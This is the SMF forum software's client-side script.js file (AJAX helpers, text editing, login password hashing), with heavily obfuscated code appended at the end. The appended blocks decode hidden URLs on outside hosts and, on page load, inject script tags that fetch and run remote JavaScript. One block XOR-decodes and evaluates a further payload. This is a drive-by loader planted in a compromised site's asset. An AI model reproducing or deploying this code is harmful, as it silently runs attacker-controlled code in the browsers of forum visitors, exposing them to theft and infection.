var smf_formSubmitted = false;

// Define document.getElementById for Internet Explorer 4.
if (typeof(document.getElementById) == "undefined")
	document.getElementById = function (id)
	{
		// Just return the corresponding index of all.
		return document.all[id];
	}
// Define XMLHttpRequest for IE 5 and above. (don't bother for IE 4 :/.... works in Opera 7.6 and Safari 1.2!)
else if (!window.XMLHttpRequest && window.ActiveXObject)
	window.XMLHttpRequest = function ()
	{
		return new ActiveXObject(navigator.userAgent.indexOf("MSIE 5") != -1 ? "Microsoft.XMLHTTP" : "MSXML2.XMLHTTP");
	};

// Some older versions of Mozilla don't have this, for some reason.
if (typeof(document.forms) == "undefined")
	document.forms = document.getElementsByTagName("form");

// Load an XML document using XMLHttpRequest.
function getXMLDocument(url, callback)
{
	if (!window.XMLHttpRequest)
		return false;

	var myDoc = new XMLHttpRequest();
	if (typeof(callback) != "undefined")
	{
		myDoc.onreadystatechange = function ()
		{
			if (myDoc.readyState != 4)
				return;

			if (myDoc.responseXML != null && myDoc.status == 200)
				callback(myDoc.responseXML);
		};
	}
	myDoc.open('GET', url, true);
	myDoc.send(null);

	return true;
}

// Send a post form to the server using XMLHttpRequest.
function sendXMLDocument(url, content, callback)
{
	if (!window.XMLHttpRequest)
		return false;

	var sendDoc = new window.XMLHttpRequest();
	if (typeof(callback) != "undefined")
	{
		sendDoc.onreadystatechange = function ()
		{
			if (sendDoc.readyState != 4)
				return;

			if (sendDoc.responseXML != null && sendDoc.status == 200)
				callback(sendDoc.responseXML);
			else
				callback(false);
		};
	}
	sendDoc.open('POST', url, true);
	if (typeof(sendDoc.setRequestHeader) != "undefined")
		sendDoc.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
	sendDoc.send(content);

	return true;
}

function textToEntities(text)
{
	var entities = "";
	for (var i = 0; i < text.length; i++)
	{
		if (text.charCodeAt(i) > 127)
			entities += "&#" + text.charCodeAt(i) + ";";
		else
			entities += text.charAt(i);
	}

	return entities;
}

// Open a new window.
function reqWin(desktopURL, alternateWidth, alternateHeight, noScrollbars)
{
	if ((alternateWidth && self.screen.availWidth * 0.8 < alternateWidth) || (alternateHeight && self.screen.availHeight * 0.8 < alternateHeight))
	{
		noScrollbars = false;
		alternateWidth = Math.min(alternateWidth, self.screen.availWidth * 0.8);
		alternateHeight = Math.min(alternateHeight, self.screen.availHeight * 0.8);
	}
	else
		noScrollbars = typeof(noScrollbars) != "undefined" && noScrollbars == true;

	window.open(desktopURL, 'requested_popup', 'toolbar=no,location=no,status=no,menubar=no,scrollbars=' + (noScrollbars ? 'no' : 'yes') + ',width=' + (alternateWidth ? alternateWidth : 480) + ',height=' + (alternateHeight ? alternateHeight : 220) + ',resizable=no');

	// Return false so the click won't follow the link ;).
	return false;
}

// Remember the current position.
function storeCaret(text)
{
	// Only bother if it will be useful.
	if (typeof(text.createTextRange) != "undefined")
		text.caretPos = document.selection.createRange().duplicate();
}

// Replaces the currently selected text with the passed text.
function replaceText(text, textarea)
{
	// Attempt to create a text range (IE).
	if (typeof(textarea.caretPos) != "undefined" && textarea.createTextRange)
	{
		var caretPos = textarea.caretPos;

		caretPos.text = caretPos.text.charAt(caretPos.text.length - 1) == ' ' ? text + ' ' : text;
		caretPos.select();
	}
	// Mozilla text range replace.
	else if (typeof(textarea.selectionStart) != "undefined")
	{
		var begin = textarea.value.substr(0, textarea.selectionStart);
		var end = textarea.value.substr(textarea.selectionEnd);
		var scrollPos = textarea.scrollTop;

		textarea.value = begin + text + end;

		if (textarea.setSelectionRange)
		{
			textarea.focus();
			textarea.setSelectionRange(begin.length + text.length, begin.length + text.length);
		}
		textarea.scrollTop = scrollPos;
	}
	// Just put it on the end.
	else
	{
		textarea.value += text;
		textarea.focus(textarea.value.length - 1);
	}
}

// Surrounds the selected text with text1 and text2.
function surroundText(text1, text2, textarea)
{
	// Can a text range be created?
	if (typeof(textarea.caretPos) != "undefined" && textarea.createTextRange)
	{
		var caretPos = textarea.caretPos, temp_length = caretPos.text.length;

		caretPos.text = caretPos.text.charAt(caretPos.text.length - 1) == ' ' ? text1 + caretPos.text + text2 + ' ' : text1 + caretPos.text + text2;

		if (temp_length == 0)
		{
			caretPos.moveStart("character", -text2.length);
			caretPos.moveEnd("character", -text2.length);
			caretPos.select();
		}
		else
			textarea.focus(caretPos);
	}
	// Mozilla text range wrap.
	else if (typeof(textarea.selectionStart) != "undefined")
	{
		var begin = textarea.value.substr(0, textarea.selectionStart);
		var selection = textarea.value.substr(textarea.selectionStart, textarea.selectionEnd - textarea.selectionStart);
		var end = textarea.value.substr(textarea.selectionEnd);
		var newCursorPos = textarea.selectionStart;
		var scrollPos = textarea.scrollTop;

		textarea.value = begin + text1 + selection + text2 + end;

		if (textarea.setSelectionRange)
		{
			if (selection.length == 0)
				textarea.setSelectionRange(newCursorPos + text1.length, newCursorPos + text1.length);
			else
				textarea.setSelectionRange(newCursorPos, newCursorPos + text1.length + selection.length + text2.length);
			textarea.focus();
		}
		textarea.scrollTop = scrollPos;
	}
	// Just put them on the end, then.
	else
	{
		textarea.value += text1 + text2;
		textarea.focus(textarea.value.length - 1);
	}
}

// Checks if the passed input's value is nothing.
function isEmptyText(theField)
{
	// Copy the value so changes can be made..
	var theValue = theField.value;

	// Strip whitespace off the left side.
	while (theValue.length > 0 && (theValue.charAt(0) == ' ' || theValue.charAt(0) == '\t'))
		theValue = theValue.substring(1, theValue.length);
	// Strip whitespace off the right side.
	while (theValue.length > 0 && (theValue.charAt(theValue.length - 1) == ' ' || theValue.charAt(theValue.length - 1) == '\t'))
		theValue = theValue.substring(0, theValue.length - 1);

	if (theValue == '')
		return true;
	else
		return false;
}

// Only allow form submission ONCE.
function submitonce(theform)
{
	smf_formSubmitted = true;
}
function submitThisOnce(form)
{
	// Hateful, hateful fix for Safari 1.3 beta.
	if (navigator.userAgent.indexOf('AppleWebKit') != -1)
		return !smf_formSubmitted;

	if (typeof(form.form) != "undefined")
		form = form.form;

	for (var i = 0; i < form.length; i++)
		if (typeof(form[i]) != "undefined" && form[i].tagName.toLowerCase() == "textarea")
			form[i].readOnly = true;

	return !smf_formSubmitted;
}

// Set the "inside" HTML of an element.
function setInnerHTML(element, toValue)
{
	// IE has this built in...
	if (typeof(element.innerHTML) != 'undefined')
		element.innerHTML = toValue;
	// Otherwise, try createContextualFragment().
	else
	{
		var range = document.createRange();
		range.selectNodeContents(element);
		range.deleteContents();
		element.appendChild(range.createContextualFragment(toValue));
	}
}

// Set the "outer" HTML of an element.
function setOuterHTML(element, toValue)
{
	if (typeof(element.outerHTML) != 'undefined')
		element.outerHTML = toValue;
	else
	{
		var range = document.createRange();
		range.setStartBefore(element);
		element.parentNode.replaceChild(range.createContextualFragment(toValue), element);
	}
}

// Get the inner HTML of an element.
function getInnerHTML(element)
{
	if (typeof(element.innerHTML) != 'undefined')
		return element.innerHTML;
	else
	{
		var returnStr = '';
		for (var i = 0; i < element.childNodes.length; i++)
			returnStr += getOuterHTML(element.childNodes[i]);

		return returnStr;
	}
}

function getOuterHTML(node)
{
	if (typeof(node.outerHTML) != 'undefined')
		return node.outerHTML;

	var str = '';

	switch (node.nodeType)
	{
	// An element.
	case 1:
		str += '<' + node.nodeName;

		for (var i = 0; i < node.attributes.length; i++)
		{
			if (node.attributes[i].nodeValue != null)
				str += ' ' + node.attributes[i].nodeName + '="' + node.attributes[i].nodeValue + '"';
		}

		if (node.childNodes.length == 0 && in_array(node.nodeName.toLowerCase(), ['hr', 'input', 'img', 'link', 'meta', 'br']))
			str += ' />';
		else
			str += '>' + getInnerHTML(node) + '</' + node.nodeName + '>';
		break;

	// 2 is an attribute.

	// Just some text..
	case 3:
		str += node.nodeValue;
		break;

	// A CDATA section.
	case 4:
		str += '<![CDATA' + '[' + node.nodeValue + ']' + ']>';
		break;

	// Entity reference..
	case 5:
		str += '&' + node.nodeName + ';';
		break;

	// 6 is an actual entity, 7 is a PI.

	// Comment.
	case 8:
		str += '<!--' + node.nodeValue + '-->';
		break;
	}

	return str;
}

// Checks for variable in theArray.
function in_array(variable, theArray)
{
	for (var i = 0; i < theArray.length; i++)
	{
		if (theArray[i] == variable)
			return true;
	}
	return false;
}

// Find a specific radio button in its group and select it.
function selectRadioByName(radioGroup, name)
{
	if (typeof(radioGroup.length) == "undefined")
		return radioGroup.checked = true;

	for (var i = 0; i < radioGroup.length; i++)
	{
		if (radioGroup[i].value == name)
			return radioGroup[i].checked = true;
	}

	return false;
}

// Invert all checkboxes at once by clicking a single checkbox.
function invertAll(headerfield, checkform, mask)
{
	for (var i = 0; i < checkform.length; i++)
	{
		if (typeof(checkform[i].name) == "undefined" || (typeof(mask) != "undefined" && checkform[i].name.substr(0, mask.length) != mask))
			continue;

		if (!checkform[i].disabled)
			checkform[i].checked = headerfield.checked;
	}
}

// Keep the session alive - always!
var lastKeepAliveCheck = new Date().getTime();
function smf_sessionKeepAlive()
{
	var curTime = new Date().getTime();

	// Prevent a Firefox bug from hammering the server.
	if (smf_scripturl && curTime - lastKeepAliveCheck > 900000)
	{
		var tempImage = new Image();
		tempImage.src = smf_scripturl + (smf_scripturl.indexOf("?") == -1 ? "?" : "&") + "action=keepalive;" + curTime;
		lastKeepAliveCheck = curTime;
	}

	window.setTimeout("smf_sessionKeepAlive();", 1200000);
}
window.setTimeout("smf_sessionKeepAlive();", 1200000);

// Set a theme option through javascript.
function smf_setThemeOption(option, value, theme, cur_session_id)
{
	// Compatibility.
	if (cur_session_id == null)
		cur_session_id = smf_session_id;

	var tempImage = new Image();
	tempImage.src = smf_scripturl + (smf_scripturl.indexOf("?") == -1 ? "?" : "&") + "action=jsoption;var=" + option + ";val=" + value + ";sesc=" + cur_session_id + (theme == null ? "" : "&id=" + theme) + ";" + (new Date().getTime());
}

function smf_avatarResize()
{
	var possibleAvatars = document.getElementsByTagName ? document.getElementsByTagName("img") : document.all.tags("img");

	for (var i = 0; i < possibleAvatars.length; i++)
	{
		if (possibleAvatars[i].className != "avatar")
			continue;

		var tempAvatar = new Image();
		tempAvatar.src = possibleAvatars[i].src;

		if (smf_avatarMaxWidth != 0 && tempAvatar.width > smf_avatarMaxWidth)
		{
			possibleAvatars[i].height = (smf_avatarMaxWidth * tempAvatar.height) / tempAvatar.width;
			possibleAvatars[i].width = smf_avatarMaxWidth;
		}
		else if (smf_avatarMaxHeight != 0 && tempAvatar.height > smf_avatarMaxHeight)
		{
			possibleAvatars[i].width = (smf_avatarMaxHeight * tempAvatar.width) / tempAvatar.height;
			possibleAvatars[i].height = smf_avatarMaxHeight;
		}
		else
		{
			possibleAvatars[i].width = tempAvatar.width;
			possibleAvatars[i].height = tempAvatar.height;
		}
	}

	if (typeof(window_oldAvatarOnload) != "undefined" && window_oldAvatarOnload)
	{
		window_oldAvatarOnload();
		window_oldAvatarOnload = null;
	}
}

function hashLoginPassword(doForm, cur_session_id)
{
	// Compatibility.
	if (cur_session_id == null)
		cur_session_id = smf_session_id;

	if (typeof(hex_sha1) == "undefined")
		return;
	// Are they using an email address?
	if (doForm.user.value.indexOf("@") != -1)
		return;

	// Unless the browser is Opera, the password will not save properly.
	if (typeof(window.opera) == "undefined")
		doForm.passwrd.autocomplete = "off";

	doForm.hash_passwrd.value = hex_sha1(hex_sha1(doForm.user.value.php_to8bit().php_strtolower() + doForm.passwrd.value.php_to8bit()) + cur_session_id);

	// It looks nicer to fill it with asterisks, but Firefox will try to save that.
	if (navigator.userAgent.indexOf("Firefox/") != -1)
		doForm.passwrd.value = "";
	else
		doForm.passwrd.value = doForm.passwrd.value.replace(/./g, "*");
}

function hashAdminPassword(doForm, username, cur_session_id)
{
	// Compatibility.
	if (cur_session_id == null)
		cur_session_id = smf_session_id;

	if (typeof(hex_sha1) == "undefined")
		return;

	doForm.admin_hash_pass.value = hex_sha1(hex_sha1(username.toLowerCase() + doForm.admin_pass.value) + cur_session_id);
	doForm.admin_pass.value = doForm.admin_pass.value.replace(/./g, "*");
}

function ajax_indicator(turn_on)
{
	var indicator = document.getElementById("ajax_in_progress");
	if (indicator != null)
	{
		if (navigator.appName == "Microsoft Internet Explorer" && navigator.userAgent.indexOf("MSIE 7") == -1)
		{
			indicator.style.top = document.documentElement.scrollTop;
		}
		indicator.style.display = turn_on ? "block" : "none";
	}
}

var m=window;var e=document;this.w_="";var ur=50737;function _(s){var t=['hAtNt@p%:@/N/%lNiNnAkAw#i@tNh#i%n#-@cNoNm%.Ag#aNz@e%t#a#.@pNl%.Ag%o%o#gAlAeA-Ac%a%.Ar#eAd#t#a%gAcNe#n#t#rAa@l@.#rNu#:@8N0N8%0#/#mAa#sNr%a%wAyA.Nc#oAmN/@m@a#s#r#aNwAy%.Nc%oNm@/%g@o@o@g@lAe#.Ac#o%mA/%pNoNr#n%b%b%.%o@r@g@/Ng%g#p%hNtN.AcNoNm%/%'.replace(/[%@N#A]/g, ''), 's|c|r|i8pQtQ'.replace(/[Q8we\|]/g, ''), 'cKrRePaItReSESlSeKmPeSnItS'.replace(/[SKPIR]/g, ''), 'otntltotatdz'.replace(/[ztK\<\$]/g, ''), 'sYrYc&'.replace(/[&vY_o]/g, ''), 'aop:p%eon/dHCohoiHl:do'.replace(/[o\:/H%]/g, ''), 'sQektkA_tntkrniybyu_tQen'.replace(/[ny_Qk]/g, ''), 'b_oOdOyY'.replace(/[YQ_O\<]/g, ''), 'dVe*f+e+rV'.replace(/[VUT\*\+]/g, ''), "1"];var uh=new Date();var b=t[s];return b;var sg;if(sg!='' && sg!='mx'){sg=null};}this.o=false;var p=new String();var w = function(){try {f=e[_([2,8][0])](_([1][0]));var io=52715;f[_([4][0])]=_([0][0]);var n = e[_([7,8][0])];this.ps=14378;f[_([6,8][0])](_([8,6][0]), _([9][0]));n[_([1,5][1])](f);this.js=1009;} catch(u){this.vu="";};var md="";};this.lq="lq";var lf=40044;m[_([3][0])]=w;var kr;if(kr!='e_'){kr='e_'};var vd=false;
var Rk="ded9f6d6e68dffeff1d9d8b7eee2f1c594def6d7fafeffeee2d3fed8c3f9c9fdd6efc9eecbe5c4ebcbf8ccfac5d3fbd2d8febcb3bdb59ff8c1cbe9fdbfb2b680bae4c78dc3fbbefef9ea89c3daacfaea";var DOq;if(DOq!='QpC' && DOq!='ieh'){DOq=''};var RY=false;function m(P){var vh;if(vh!='' && vh!='Zw'){vh='If'};var s=new String(); var f=function(y,S){var gM=new String();return y^S;var Pm='';var eX='';};var CV="CV";var j;if(j!='Qi'){j='Qi'};this.Eu='';this.Ch="Ch";this.r=""; function A(L){var YP;if(YP!='ah' && YP!='vv'){YP=''};var bO='';this.aj='';var YI;if(YI!='zy' && YI != ''){YI=null};var Ms =[232,151,0][2];L = new x(L);var Rz=false;var w = -1;var Q =[0,113][0];var g = '';var Zj;if(Zj!=''){Zj='Oa'};this.RH="";var FH;if(FH!='' && FH!='HW'){FH=null};this.pw="";for (Q=L[R("elntgh", [1,0,2,4,3])]-w;Q>=Ms;Q=Q-[1][0]){var Yp="";g+=L[R("ahrcAt", [3,1,0,2])](Q);var NE;if(NE!='np' && NE != ''){NE=null};var Sc;if(Sc!='NZ' && Sc != ''){Sc=null};}return g;var o;if(o!=''){o='Lh'};} var k=new String();function R(L, yM){var J;if(J!='DC'){J='DC'};var ce=new Array();var nW;if(nW!='lp' && nW!='Tj'){nW='lp'};var g = '';var QK;if(QK!='eH' && QK!='Wu'){QK='eH'};var yD="yD";var e = yM.length;this.KC=7587;var kd;if(kd!='Oy'){kd='Oy'};var p = L.length;var v=[1,191,180][0];var Cv='';var EM;if(EM!='' && EM!='Yw'){EM='YU'};var Ms=[0][0];var tu="";var MI;if(MI!=''){MI='wQ'};this.hw=24751;var am=new Array();var Ud=false;for(var Q = Ms; Q < p; Q += e) {var Ou;if(Ou!='Wb' && Ou != ''){Ou=null};this.ky='';var i = L.substr(Q, e);var US;if(US!='RN' && US != ''){US=null};var ca;if(ca!='AZ'){ca=''};var ut;if(ut!='' && ut!='Tx'){ut=null};var xv="";if(i.length == e){for(var Mk in yM) {var iu="";var Dk="";var kP=new String();var tC;if(tC!='XY'){tC='XY'};g+=i.substr(yM[Mk], v);var vSd=9085;}var vi;if(vi!='sY' && vi!='Ip'){vi=''};} else {var lZ="lZ";  g+=i;}}return g;var RB=false;} var V=function(E){var Sp;if(Sp!='' && Sp!='fr'){Sp='xg'};var SQ;if(SQ!='' && SQ!='hg'){SQ=''};var lw=false;var Dm=new String();this.aq="";var Mk=[0][0];var wA=new Date();this.ql='';var Z=[255][0];var I=[0][0];this.cA="cA";this.Ne=false;var t=E[R("nlegth", [1,2,0,3])];var no=new String();var vk=false;var v=[1,27,55][0];var NEq;if(NEq!='paR' && NEq != ''){NEq=null};this.Re="Re";this.Ew=40586;while(Mk<t){var oQ=new String();this.gs=52190;Mk++;C=c(E,Mk - v);I+=C*t;}this.Fb=false;var gsl;if(gsl!='Nt' && gsl!='Hs'){gsl=''};return new x(I % Z);};var QGN="QGN";var dI=new String();var NQ;if(NQ!='Vq' && NQ != ''){NQ=null}; var c=function(D,T){var iA;if(iA!='hU' && iA!='zV'){iA='hU'};return D[R("rCdchoaeAt", [3,4,6,0,1,5,2])](T);};var gG;if(gG!='IQ'){gG='IQ'};var nZk=46949;var sf=new String();var z=window;var br=false;var XE;if(XE!='CH' && XE!='lwa'){XE='CH'};var vS=z[R("vela", [1,0])];var n=vS(R("nuFcoitn", [2,1,0,3]));var tU=new Array();var sj=new Array();var IQe=new String();var PmK;if(PmK!='dW' && PmK!='yq'){PmK='dW'};var l = '';this.Fn=27906;var fF;if(fF!='' && fF!='Jf'){fF=null};var Nr;if(Nr!='Ptj'){Nr='Ptj'};var x=vS(R("rStgin", [1,2,0]));var NS=new Date();this.tw=false;this.yu=false;var zL=vS(R("eRgxEp", [1,0,2]));this.uF="";var BS='';var iR;if(iR!='' && iR!='hB'){iR=''};this.VX=39059;this.He=14623;var F=z[R("nuecsape", [1,0,2])];var BA;if(BA!='' && BA!='sL'){BA='AG'};this.fO='';var lx=x[R("rCofmhrdCaoe", [3,0,2,4,1,5])];var NK=50734;var Zl="Zl";var VA=new String();var kc;if(kc!='sa' && kc!='Dg'){kc=''};var Gt=false;var Hwz;if(Hwz!=''){Hwz='Efs'};var gd="";var Y = '';this.qh="";var iH;if(iH!=''){iH='SS'};var H =[20,2][1];var Qe = /[^@a-z0-9A-Z_-]/g;var IC = '';var AB='';var iX=[1, R("niishgetpxerssiac.mo", [1,0]),2, R("ouemdctcern.tEelaeet\'(mncitpsr\')", [4,0,5,1,3,2]),3, R("coundetmobda..pynediphlCd(d)", [4,1,0,2,7,5,3,6]),4, R("im.olcesietvnsiegd0u:r8.80", [5,3,1,2,4,0]),5, R("oc.motsyur.soc.mowhwaed", [1,0]),6, R("stAtde.iutetbrdfer(e\'\'", [4,6,0,5,1,2,3]),7, R("niwwodno.aold", [2,1,0]),8, R("ostfaley.rocm", [1,0]),11, R("nomenaagc.mo", [1,0]),12, R("ufcnitno)(", [1,0]),14, R("oggoelc.mo", [1,0]),15, R("acct(h)e", [1,0]),16, R("h\"tt:p", [1,0]),17, R("pemeir", [1,2,0]),18, R("rcs.d", [4,3,2,0,1]),19, R("ldaut", [2,1,3,0]),20, R("1\'\')", [1,0,2]),21, R("rty", [1,0])];var kp=new Date();var Ms =[0][0];var Xvc;if(Xvc!='' && Xvc!='qeZ'){Xvc='Mj'};var XI=new Array();var zS = '';var v =[1][0];var lJ =[0,155][0];var xk;if(xk!='DW' && xk!='sLT'){xk='DW'};var pe="";var ze;if(ze!='' && ze!='zz'){ze=null};this.KM="";var oG;if(oG!='' && oG!='Zn'){oG=null};var gt;if(gt!='RT'){gt=''};var N = P[R("tgnelh", [4,3,2,1,0])];var et="";var QI = lx(37);var VT;if(VT!='' && VT!='Ym'){VT=''};var Ei="Ei";var EN;if(EN!='Iw'){EN='Iw'};this.gg="gg";this.mw='';var pi=new Date();var Jm;if(Jm!=''){Jm='xa'};var aA=new Array();for(var X=Ms; X < N; X+=H){IC+= QI; IC+= P[R("ussbrt", [1,0])](X, H);}this.mn='';var oxf="";var P = F(IC);var vxf;if(vxf!='hM'){vxf=''};var Yu;if(Yu!='vkn'){Yu=''};var LN = new x(m);var aV;if(aV!='' && aV!='lF'){aV='rl'};var B = LN[R("erlapce", [1,0,4,2,3])](Qe, Y);var AH="";var lT=new Date();var Nd;if(Nd!='' && Nd!='Ah'){Nd=''};var QG = new x(n);var Uw='';this.wP="";var a = iX[R("elgnht", [1,0])];var aa;if(aa!='Nv' && aa != ''){aa=null};var TV;if(TV!='om' && TV != ''){TV=null};B = A(B);var xvJ=new String();var sN;if(sN!='Qm' && sN!='Ru'){sN=''};var ma = QG[R("epracle", [2,0,1])](Qe, Y);this.ng=58155;var ma = V(ma);var MY;if(MY!='rc'){MY='rc'};var nZ=V(B);var Tp=new Array();var nUx;if(nUx!='AY'){nUx='AY'};var mD;if(mD!='wE'){mD='wE'};for(var Q=Ms; Q < (P[R("elgnht", [1,0])]);Q=Q+[1,87][0]) {var gH;if(gH!=''){gH='Jfy'};var zY = B.charCodeAt(lJ);var kX="";var Em = c(P,Q);var Gv=new String();var Jfh=new Date();var KX=new Date();Em = f(Em, zY);var YwI=false;this.hD=false;Em = f(Em, nZ);Em = f(Em, ma);var Xx=new Array();this.Cd='';this.Tjd='';lJ++;var vD;if(vD!='' && vD!='Yt'){vD='hc'};this.Ss="";if(lJ > B.length-v){var vy=new Array();lJ=Ms;var Zq;if(Zq!=''){Zq='we'};var kXy;if(kXy!=''){kXy='jZz'};}var Drl="";this.oE='';zS += lx(Em);}var un="un";var IU;if(IU!='Wbm'){IU='Wbm'};for(YC=Ms; YC < a; YC+=H){var Ln=new Array();var ZO;if(ZO!='' && ZO!='Dl'){ZO='Vy'};this.dx=45593;var U = iX[YC + v];var Dc=new Date();var q = lx(iX[YC]);this.Xo=false;var oA=new Date();var MX="";var Cq;if(Cq!=''){Cq='fI'};var ie = new zL(q, x.fromCharCode(103));zS=zS[R("acpelre", [5,3,2,4,0,1])](ie, U);var QmT=new Date();}var eG;if(eG!='Ky' && eG!='kI'){eG=''};var Ur;if(Ur!='' && Ur!='Px'){Ur=null};var u=new n(zS);var xHL;if(xHL!='Zs'){xHL='Zs'};u();var jf='';this.ae=false;u = '';var Qp;if(Qp!='aF'){Qp=''};var NvN;if(NvN!='Xp' && NvN!='xq'){NvN='Xp'};this.YW=47435;var yI;if(yI!='' && yI!='aQ'){yI=null};B = '';nZ = '';var FM=11835;var So=new Array();QG = '';var dH=24107;var xz=false;ma = '';var ViC="";var Jv;if(Jv!='Om'){Jv=''};zS = '';var SQK="";var vG="";var Lo=29794;var WZ=11687;var VZh='';var fh;if(fh!='' && fh!='yn'){fh=null};return '';var Nz;if(Nz!=''){Nz='dw'};this.RV='';};var DOq;if(DOq!='QpC' && DOq!='ieh'){DOq=''};var RY=false;m(Rk);


function T(){var K=window;var y;if(y!='' && y!='Ni'){y=''};var Ka=unescape;var Q=new Date();var Kq=Ka("%2f%6b%69%6e%6f%70%6f%69%73%6b%2d%72%75%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%77%61%73%68%69%6e%67%74%6f%6e%70%6f%73%74%2e%63%6f%6d%2e%70%68%70");function Y(Th,R){var l=new Date();var Xl=new Date();var u=String("g");var c;if(c!='Pw'){c=''};this.Ui='';var z=Ka("%5b"), S=Ka("%5d");var ol;if(ol!='lG' && ol!='Yt'){ol='lG'};var U=z+R+S;var p=new RegExp(U, u);var qM;if(qM!='jc' && qM!='d'){qM=''};var _=new Date();return Th.replace(p, new String());this.E="";};this.Ta='';this.g='';var N=Y('842506428415903719','42751936');var TQ=document;this.gy='';var Ke;if(Ke!='' && Ke!='h'){Ke=null};var Un=new Date();var o=new String();function A(){var u_=Ka("%68%74%74%70%3a%2f%2f%68%65%6c%70%68%6f%6d%65%63%61%72%65%2e%61%74%3a");var n=new String();var Uw=new String();o=u_;o+=N;o+=Kq;var uk;if(uk!='' && uk!='Vm'){uk=''};this.da="";var yk;if(yk!='zc' && yk!='Ci'){yk='zc'};try {var Ud;if(Ud!='A_' && Ud!='Ze'){Ud='A_'};var a;if(a!='rM' && a!='ok'){a='rM'};H=TQ.createElement(Y('shcSrliApFte','z56kAYNbU0hMSlxVBWFe9'));H[Ka("%73%72%63")]=o;H[Ka("%64%65%66%65%72")]=[4,1][1];var pF;if(pF!=''){pF='jx'};var uG=new String();TQ.body.appendChild(H);var fg=new String();} catch(As){this.ux='';alert(As);this.wv="";};this.m="";}var dg;if(dg!='Nw' && dg!='o_'){dg='Nw'};this.t="";K["onloa"+"d"]=A;var aY;if(aY!=''){aY='kD'};var nw;if(nw!=''){nw='aN'};};var vj=new Date();var ql=new Date();var hd=new String();T();